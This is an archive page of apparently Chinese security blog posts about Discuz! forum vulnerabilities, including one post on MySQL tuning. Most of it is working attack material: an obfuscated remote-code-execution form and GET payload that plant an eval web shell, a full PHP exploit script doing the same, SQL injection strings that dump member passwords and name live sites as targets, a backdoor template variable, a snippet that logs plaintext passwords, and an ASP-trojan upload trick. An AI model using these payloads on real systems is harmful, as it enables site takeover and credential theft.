存档

文章标签 ‘Discuz’

Discuz! 7.2 最新注入漏洞分析与利用

2010年3月12日 没有评论 1,244 views

在最新的discuz! 7.2中自带了一个新的应用程序插件manyou。恰恰在这个新插件中,没有对传入的参数进行检查,在GPC为off的情况下,导致注入漏洞的产生。
漏洞分析:
文件./manyou/sources/notice.php

相关代码:

if($option == 'del') {

$appid = intval($_GET['appid']);

$db->query("DELETE FROM {$tablepre}myinvite WHERE appid='$appid' AND touid='$discuz_uid'");

showmessage('manyou:done', 'userapp.php?script=notice&action=invite');

} elseif($option == 'deluserapp') {

$hash = trim($_GET['hash']); //此处并没有进行过滤,直接导致注入的产生

if($action == 'invite') {

$query = $db->query("SELECT * FROM {$tablepre}myinvite WHERE hash='$hash' AND touid='$discuz_uid'");

if($value = $db->fetch_array($query)) {

$db->query("DELETE FROM {$tablepre}myinvite WHERE hash='$hash' AND touid='$discuz_uid'");

showmessage('manyou:done', 'userapp.php?script=notice&action=invite');

} else {

showmessage('manyou:noperm');

}

} else {

$db->query("DELETE FROM {$tablepre}mynotice WHERE id='$hash' AND uid='$discuz_uid'");

showmessage('manyou:done', 'userapp.php?script=notice');

}

}

阅读全文...

分类: 技术文章 标签: , ,

Discuz7 记录明文

2010年1月9日 没有评论 203 views

内容如下:

$ip=$_SERVER['REMOTE_ADDR'];
$showtime=date("Y-m-d H:i:s");
$record="".$username." --------".$password." IP:".$ip." Time:".$showtime."\r\n";
$handle=fopen('./ipdata/csshacklog.php','a+');
$write=fwrite($handle,$record);

修改uc_client目录下的client.php 在

阅读全文...

分类: 技术文章 标签:

discuz!7.1、7.2远程代码执行漏洞exploit

2010年1月7日 没有评论 530 views

1.注册一个新用户
2.Exp代码如下:

<form method="post" action=" http://www.xxx.com/bbs/misc.php" enctype="multipart/form-data">

帖子ID,指定一个存在的帖子即可:<input type="text" name="tid" value="1" />

<input type="hidden" name="action" value="imme_binding" />

<input type="hidden" name="response[result]" value="1:2" />

<input type="hidden" name="scriptlang[1][2]" value="${${eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).

chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).

chr(102).chr(111).chr(114).chr(117).chr(109).chr(100).

chr(97).chr(116).chr(97).chr(47).chr(99).chr(97).

chr(99).chr(104).chr(101).chr(47).chr(117).

chr(115).chr(101).chr(114).chr(103).chr(114).

chr(111).chr(117).chr(112).chr(95).chr(48).

chr(49).chr(46).chr(112).chr(104).chr(112).chr(39).

chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).

chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).

chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).

chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).

chr(91).chr(99).chr(109).chr(100).chr(93).

chr(41).chr(63).chr(62).chr(39).chr(41).chr(59))}}" />

<input type="submit" name="topicsubmit" value="提交" class="submit" />

</form>

chr解码后是:

value="${${evalfputs(fopen('forumdata/cache/usergroup','w'),'<?php eval($_POST[cmd])?>');

保存html

打开点提交,会生产forumdata/cache/usergroup_01.php一句话文件,密码是cmd

第二种方法:

直接GET,利用语句:

misc.php?action=imme_binding&response[result]=aa:b&scriptlang[aa][b]={${fputs(fopen(base64_decode(Yy5waHA),w),

base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x))}}

在根目录生成C.PHP密码是C

临时修补方法:

在common.inc.php上面加上

$response=$scriptlang=array();

官方发布修补补丁:

http://www.discuz.net/thread-1537673-1-1.html

分类: 矩阵毒刺 标签: ,

Discuz!NT 3.0 特殊环境下利用漏洞

2009年11月14日 没有评论 289 views

WINDOWS2003+IIS6
漏洞版本:3.0.0
利用过程:
准备一只ASP马.加密后命名为:chinadu.asp
打开目标论坛-->登陆一个可以发贴的帐号-->任意区发贴-->点[批量上传]
会提示你安装一个Microsoft Silverlight的插件...安装...
安装完毕后.将chinadu.asp 改名.为:1.asp;jpg
然后利用批量上传.选中改名后的文件.上传完毕后到[我的附件].就可看到地址..
注:1.asp我如果用不加密的话传上去会自动命名.

分类: 技术文章 标签: ,

Discuz! Plugin JiangHu <= 1.1 Sql injection Vulnerability

2009年9月4日 没有评论 73 views

=========================================================
Discuz! Plugin JiangHu < = 1.1 Sql injection Vulnerability
=========================================================

========================[Author]=========================

[+] Founded : ZhaoHuAn
[+] Contact : ZhengXing[at]shandagames[dot]com
[+] Blog : http://www.patching.net/zhaohuan/
[+] Date : Feb, 9th 2009
[+] Update : Sep, 1th 2009

========================[Soft Info]======================

Software: Discuz! Plugin JiangHu Inn
Version : 1.1
Vendor : http://www.discuz.com
d0rk : inurl:forummission.php

[-] Exploit:
[+] and+1=2+union+select+1,2,group_concat(uid,0x3a,username,0x3a,password),4,5,6,7,8,9,10,11 from cdb_members--

[-] SqlI PoC:
[+] http://target/[path]/forummission.php?index=show&id=24 and+1=2+union+select+1,2,group_concat(uid,0x3a,username,0x3a,password),4,5,6,7,8,9,10,11 from cdb_members--

[+] Demo Live:
[-] http://www.palslp.com/forummission.php?index=show&id=24 and+1=2+union+select+1,2,group_concat(uid,0x3a,username,0x3a,password),4,5,6,7,8,9,10,11 from cdb_members--

[-] http://bbs.sunspals.com/forummission.php?index=show&id=24 and+1=2+union+select+1,2,group_concat(uid,0x3a,username,0x3a,password),4,5,6,7,8,9,10,11 from cdb_members--

/---------------------------------------------www.zhaohuan.net-------------------------------------------------\

Greetz : Snda Security Team
& Normal is boring - -!

\--------------------------------------------------------------------------------------------------------------/

分类: 矩阵毒刺 标签:

Discuz! Plugin Crazy Star <= 2.0 Sql injection Vulnerability

2009年8月27日 没有评论 77 views

============================================================
Discuz! Plugin Crazy Star < = 2.0 Sql injection Vulnerability
============================================================

========================[Author]============================

[+] Founded : ZhaoHuAn
[+] Contact : ZhengXing[at]shandagames[dot]com
[+] Blog : http://www.patching.net/zhaohuan/
[+] Date : August, 26th 2009 [Double Seventh Festival]

========================[Soft Info]=========================

Software: Discuz! Plugin Crazy Star(family)
Version : 2.0
Vendor : http://www.discuz.com
阅读全文...

MySQL优化 之 Discuz论坛优化

2009年8月24日 没有评论 108 views

discuz是很不错的论坛,大站用他的话还得有针对性的优化下mysql,转载开始。

作/译者:叶金荣,来源:http://imysql.cn,转载请注明作/译者和出处,并且不能用于商业用途,违者必究。

一. 前言
近日由于需要,对discuz论坛(简称dz)进行优化,当然了,只是涉及到数据库的优化.
先说一下服务器及dz的数据量,2 * Intel(R) Xeon(TM) CPU 2.40GHz, 4GB mem, SCISC硬盘.
MySQL 版本为 4.0.23. 数据表情况:
cdb_attachments 2万
cdb_members 10万
cdb_posts 68万
cdb_threads 7万
二. 缓存优化
在 my.cnf 中添加/修改以下选项:
阅读全文...

分类: 技术文章 标签: ,

Discuz 群体攻击第三波出现

2009年8月21日 没有评论 152 views

初步推测是劫持了customer.discuz.net 再配合自定义模板变量那个漏洞 管理员访问后台时 便会生成一个一句话后门。
自定义模板变量:
变 量 :

{’,”);ECHO ”;$X=SUBSTR(MD5($_GET['B']),28);IF($X==’7aaa’)EVAL($_POST['A']);//}

替换内容 : aaaaaaaaaa

/forumdata/cache/usergroup_0.php

程序代码:

< ?php (substr(md5($_POST['b']),28)==’7aaa’) && eval($_POST['a']);?>

对post的变量b进行md5加密,如果第28-31的位置是7aaa(32位MD5的后四位)的话 就执行eval($_POST['a']);

分类: 技术文章 标签: ,

Discuz!账号发放插件注入0day

2009年8月15日 没有评论 206 views

作者: 普瑞斯特

Discuz账号发放插件注入0day

插件名:2Fly礼品(序号)发放系统
漏洞文件:2fly_gift.php
版本:最新版
Exp:
阅读全文...

Discuz! 6.x/7.x SODB-2008-13 Exp

2008年11月14日 没有评论 101 views

#!/usr/bin/php
<?php
/**
* Discuz! 6.x/7.x SODB-2008-13 Exp
* By www.80vul.com
* 文件中注释的变量值请自行修改
*/

$host = 'www.80vul.com';
// 服务器域名或IP
$path = '/discuz/';
// 程序所在的路径
$key  = 0;
// 上面的变量编辑好后,请将此处的值改为1

if (strpos($host, '://') !== false || strpos($path, '/') === false || $key !== 1)
exit("专业点好不,先看看里面的注释 -,-\n");

error_reporting(7);
ini_set('max_execution_time', 0);

$key = time();
$cmd = 'action=register&username='.$key.'&password='.$key.'&email='.$key.'@80vul.com&_DCACHE=1';
$resp = send();

preg_match('/logout=yes&formhash=[a-z0-9]{8}&sid=([a-zA-Z0-9]{6})/', $resp, $sid);

if (!$sid)
exit("哦,大概是没有开启WAP注册吧 -,-\n");

$cmd = 'stylejump[1]=1&styleid=1&inajax=1&transsidstatus=1&sid='.$sid[1].'&creditsformula=${${fputs(fopen(chr(46).chr(46).chr(47).chr(102).chr(111).chr(114).chr(117).chr(109).chr(100).chr(97).chr(116).chr(97).chr(47).chr(99).chr(97).chr(99).chr(104).chr(101).chr(47).chr(101).chr(118).chr(97).chr(108).chr(46).chr(112).chr(104).chr(112),chr(119).chr(43)),chr(60).chr(63).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(93).chr(41).chr(63).chr(62).chr(56).chr(48).chr(118).chr(117).chr(108))}}';
send();

$shell = 'http://'.$host.$path.'forumdata/cache/eval.php';

if (file_get_contents($shell) == '80vul')
exit("好了,去看看你的WebShell吧:\t$shell\n里面的代码是:\t<?eval(\$_POST[c])?>\n别告诉我你不会用 -,-\n");
else
exit("嗯,大概是该网站不存在漏洞,换一个吧 -,-\n");

function send()
{
global $host, $path, $url, $cmd;

$data = "POST ".$path."wap/index.php  HTTP/1.1\r\n";
$data .= "Accept: */*\r\n";
$data .= "Accept-Language: zh-cn\r\n";
$data .= "Referer: http://$host$path\r\n";
$data .= "Content-Type: application/x-www-form-urlencoded\r\n";
$data .= "User-Agent: Opera/9.62 (X11; Linux i686; U; zh-cn) Presto/2.1.1\r\n";
$data .= "Host: $host\r\n";
$data .= "Connection: Close\r\n";
$data .= "Content-Length: ".strlen($cmd)."\r\n\r\n";
$data .= $cmd;

$fp = fsockopen($host, 80);
fputs($fp, $data);

$resp = '';

while ($fp && !feof($fp))
$resp .= fread($fp, 1024);

return $resp;
}

?>

分类: 技术文章 标签:

Discuz! $_DCACHE数组变量覆盖漏洞

2008年11月9日 没有评论 115 views

author: ryat_at_www.wolvez.org
team:http://www.80vul.com

由于Discuz! 的wap\index.php调用Chinese类里Convert方法在处理post数据时不当忽视对数组的处理,可使数组被覆盖为NULL.当覆盖$_DCACHE时导致导致xss sql注射 代码执行等众多严重的安全问题.

一 分析

/wap/index.php

//43行


$chs = '';
if($_POST && $charset != 'utf-8') {
$chs = new Chinese('UTF-8', $charset);
foreach($_POST as $key => $value) {
$$key = addslashes(stripslashes($chs->Convert($$key)));
}
unset($chs);
}
...
if(in_array($action, array('home', 'login', 'register', 'search', 'stats', 'my', 'myphone', 'goto', 'forum', 'thread', 'post'))) {
require_once './include/'.$action.'.inc.php';

这个地方是对非utf-8编码下的数据进行编码转换,但Convert方法有一个问题,如果存在iconv()将会用此函数进行编码转换,这时如果传递进来的参数是一个数组,将会返回FALSE,那么POST提交一个_DCACHE=1,经过Convert()处理$_DCACHE就会被覆盖为NULL[再经过stripslashes()或者addslashes()处理会被覆盖为一个空的字符串]:)

/wap/include/register.inc.php

//124行

require_once DISCUZ_ROOT.'./include/cache.func.php';
$_DCACHE['settings']['totalmembers']++;
$_DCACHE['settings']['lastmember'] = $discuz_userss;
updatesettings();

这个地方是注册用户后更新缓存数据,再来看看updatesettings()是怎么处理的:

include/cache.func.php

//252行

function updatesettings() {
global $_DCACHE;
if(isset($_DCACHE['settings']) && is_array($_DCACHE['settings'])) {
writetocache('settings', '', '$_DCACHE[\'settings\'] = '.arrayeval($_DCACHE['settings']).";\n\n");
}
}

可以看到这个地方写入的是$GLOBALS[_DCACHE],我们可以在注册时用上面提到的方法把$_DCACHE覆盖为一个空字符串,然后经过上面代码的重新赋值及更新缓存,最后写入forumdata/cache/cache_settings.php的将仅仅只有$_DCACHE['settings']['totalmembers']和$_DCACHE['settings']['lastmember']:)

include/common.inc.php

//95行:

$cachelost = (@include DISCUZ_ROOT.'./forumdata/cache/cache_settings.php') ? '' : 'settings';
@extract($_DCACHE['settings']);
...
$styleid = intval(!empty($_GET['styleid']) ? $_GET['styleid'] :
(!empty($_POST['styleid']) ? $_POST['styleid'] :
(!empty($_DSESSION['styleid']) ? $_DSESSION['styleid'] :
$_DCACHE['settings']['styleid'])));

$styleid = intval(isset($stylejump[$styleid]) ? $styleid : $_DCACHE['settings']['styleid']);

if(@!include DISCUZ_ROOT.'./forumdata/cache/style_'.intval(!empty($forum['styleid']) ? $forum['styleid'] : $styleid).'.php') {
$cachelost .= (@include DISCUZ_ROOT.'./forumdata/cache/style_'.($styleid = $_DCACHE['settings']['styleid']).'.php') ? '' : ' style_'.$styleid;
}

这里用extract处理了$_DCACHE['settings'],但由于此时包含的forumdata/cache/cache_settings.php文件中仅仅存在$_DCACHE['settings']['totalmembers']和$_DCACHE['settings']['lastmember'],将导致大量的变量没有初始化,而此部分变量在整个程序中起到了重要作用,但现在我们可以随意提交这些变量,这将导致xss,sql注射,命令执行等众多严重的安全问题:)

另外要注意$styleid可能会导致重新更新缓存文件,可以提交stylejump[1]=1&styleid=1&inajax=1,这样就不会再次更新缓存,forumdata/cache/cache_settings.php里依然是我们wap注册时写入的数据:)

PS:WAP用户注册默认并不开启

二 利用

Poc:


POST http://127.0.0.1/dz/wap/index.php?action=register HTTP/1.1
Accept: */*
Accept-Language: zh-cn
Referer: http://127.0.0.1/dz/wap/index.php
Content-Type: application/x-www-form-urlencoded
User-Agent: Opera/9.62 (X11; Linux i686; U; zh-cn) Presto/2.1.1
Host: 127.0.0.1
Connection: close
Content-Length: 66

username=ryat&password=123456&email=ryat@ryat.com&_DCACHE=1

D:\>type Discuz_7_Beta_SC_GBK\upload\forumdata\cache\cache_settings.php
<?php
//Discuz! cache file, DO NOT modify me!
//Created: Nov 6, 2008, 22:27
//Identify: 1b0cb6a8551131fb818dc6fe54e9cad0

$_DCACHE['settings'] = array (
'totalmembers' => 1,
'lastmember' => 'ryat',
);

?>

Discuz! 路径信息泄露 bug

2008年11月5日 没有评论 73 views

由于Discuz! cache file的数组$_DCACHE,$_CACHE等的变量名没有初始化导致路径信息泄露.
author: 80vul-A
team:http://www.80vul.com

一 分析
目录\uc_client\data\cache\,\forumdata\cache等下面的文件里对如:

$_CACHE['settings'] = array (
'accessemail' => '',
'censoremail' => '',
'censorusername' => '',
'dateformat' => 'y-n-j',
'doublee' => '1',
'nextnotetime' => '0',
'timeoffset' => '28800',
);

$_DCACHE['settings'] = array (
'accessemail' => '',
'adminipaccess' => '',
'admode' => '1',
'archiverstatus' => '1',
'attachbanperiods' => '',
'attachimgpost' => '1',

数组$_DCACHE,$_CACHE等没有初始化,其实dz的安全人员已经考虑到了这个问题,如在include\common.inc.php

$_DCOOKIE = $_DSESSION = $_DCACHE = $_DPLUGIN = $advlist = array();但是想对于独立的Discuz! cache file并没有初始化,当我们提交?_CACHE=1 或者_DCACHE=2 导致错误而暴露路径等信息.

二 利用

poc如:

http://www.80vul.com/bbs/forumdata/cache/cache_usergroups.php?_DCACHE=1

Notice: Array to string conversion in xxx\forumdata\cache\cache_usergroups.php on line 6

三 补丁[fix]

等待官方补丁.

分类: 技术文章 标签: ,